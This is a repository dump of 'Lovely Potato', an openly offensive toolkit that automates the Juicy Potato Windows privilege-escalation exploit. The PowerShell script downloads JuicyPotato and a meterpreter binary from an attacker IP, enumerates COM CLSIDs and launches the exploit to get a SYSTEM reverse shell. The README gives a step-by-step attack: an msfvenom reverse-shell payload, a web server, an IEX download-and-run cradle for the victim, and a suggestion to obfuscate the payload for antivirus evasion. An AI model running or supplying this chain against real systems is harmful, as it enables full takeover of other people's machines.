[
  {
    "path": "Invoke-LovelyPotato.ps1",
    "content": "function Invoke-LovelyPotato\n{\n<#\n.SYNOPSIS\nPowershell script which automates the process of Juicy Potato local privilege escalation.\n\n.DESCRIPTION\nThis script involves three major steps:\n1. Downloads Juicy Potato static binary, CLSID enumeration script and an arbitrary binary which to be ran as NT AUTHORITY\\SYSTEM.\n2. Runs CLSID enumeration script in the background.\n3. Launches Juicy Potato exploit for every CLSID with NT AUTHORITY\\SYSTEM privilege found.\n\n.EXAMPLE\nPS > IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-LovelyPotato.ps1')\n\n.NOTES\nYou must first read README.md and follow the instruction for initial setup or else this script will fail.\n\n.LINK\nhttps://github.com/TsukiCTF/Lovely-Potato\n#>\n\t# Configuration\n\t$RemoteDir = \"http://10.10.10.10\"\n\t$LocalPath = \"c:\\windows\\system32\\spool\\drivers\\color\"\n\n\t# Download necessary files for exploitation\n\t(New-Object Net.WebClient).DownloadFile(\"$RemoteDir/JuicyPotato-Static.exe\", \"$LocalPath\\juicypotato.exe\")\n\t(New-Object Net.WebClient).DownloadFile(\"$RemoteDir/test_clsid.bat\", \"$LocalPath\\test_clsid.bat\")\n\t(New-Object Net.WebClient).DownloadFile(\"$RemoteDir/meterpreter.exe\", \"$LocalPath\\meterpreter.exe\")\n\n\t# Enumerate CLSIDs\n\tNew-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT\n\t$CLSID = Get-ItemProperty HKCR:\\clsid\\* | Select-Object AppID,@{N='CLSID'; E={$_.pschildname}} | Where-Object {$_.appid -ne $null}\n\t$CLSID | Select-Object CLSID -ExpandProperty CLSID | Out-File -FilePath \"$LocalPath\\CLSID.list\" -Encoding ascii\n\tStart-Process -FilePath \"cmd\" -ArgumentList \"/c $LocalPath\\test_clsid.bat\" -WorkingDirectory $LocalPath\n\n\t# Find System CLSIDs\n\tStart-Sleep -s 600\n\t$SystemCLSID = type $LocalPath\\result.log | findstr /i \"system\" | ForEach-Object {echo $_.split(\";\")[0]}\n\n\t# Launch Juicy Potato\n\t$SystemCLSID | ForEach-Object {cmd /c \"$LocalPath\\juicypotato.exe -t * -p $LocalPath\\meterpreter.exe -l 10001 -c $_\"}\n}\n\nInvoke-LovelyPotato\n\n"
  },
  {
    "path": "README.md",
    "content": "# Lovely Potato (automating juicy potato)\n*Powershell wrapper of [Decoder's JuicyPotato][1] for easy exploitation. **This entirely depends on the [original Juicy Potato binary][2] and utilizes [his test_clsid.bat][3].***\nTL;DR: SeImpersonatePrivilege Is Enabled = JuicyPotato Exploitable\n\n## Quick Guide\nFirst clone this repo to your attacker machine which already has all of required dependencies:\n```\nroot@attacker:~# git clone https://github.com/TsukiCTF/Lovely-Potato.git\nroot@attacker:~# cd Lovely-Potato\n```\nThen modify the two following variables in 'Invoke-LovelyPotato.ps1' as below (attacker machine IP, writable path on the victim machine):\n```\n$RemoteDir = \"http://[AttackerIP]\n$LocalPath = \"[WritablePathOnVictimMachine]\"\n```\nNow create a meterpreter binary on the attacker machine or use any other executable reverse shell:\n```\nroot@attacker:~/Lovely-Potato# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[AttackerIP] LPORT=[AttackerPort] -f exe -o meterpreter.exe\n```\nStart a web server in this repo to serve your meterpreter.exe and other dependencies:\n```\nroot@attacker:~/Lovely-Potato# python3 -m http.server 80\n```\nOn a new terminal, launch metasploit console (or any listener which handles whatever you are serving as a reverse shell):\n```\nroot@attacker:~# msfdb run\nmsf5 > # I'm going to omit setting up the multi handler as it is something you should already know\n```\nFinally enter below command on victim's powershell console and you **MUST WAIT 10 minutes** for reverse shell running as user NT AUTHORITY\\SYSTEM!\n```\nPS > IEX(New-Object Net.WebClient).DownloadString('http://[AttackerIP]/Invoke-LovelyPotato.ps1')\n```\n\n## Why Use Lovely Potato?\n*For simplicity.*\nManually uploading various files to target host can be easily avoided with automation.\nAlso, listing entire CLSIDs on the system and identifying privilege for each of them takes very long time if done by sending commands.\nYou can easily switch binaries in the repo any time without having to recode Invoke-LovelyPotato.ps1.\nEx) Recompiling JuicyPotato for customization / Obfuscating your meterpreter for AV evasion\n\n\n[1]: https://github.com/ohpe/juicy-potato\n[2]: https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts\n[3]: https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat\n"
  },
  {
    "path": "test_clsid.bat",
    "content": "@echo off\n:: Starting port, you can change it\nset /a port=10000\nSETLOCAL ENABLEDELAYEDEXPANSION\n\nFOR /F %%i IN (CLSID.list) DO (\n   echo %%i !port!\n   juicypotato.exe -z -l !port! -c %%i >> result.log\n   set RET=!ERRORLEVEL!\n   :: echo !RET!\n   if \"!RET!\" == \"1\"  set /a port=port+1\n)\n"
  }
]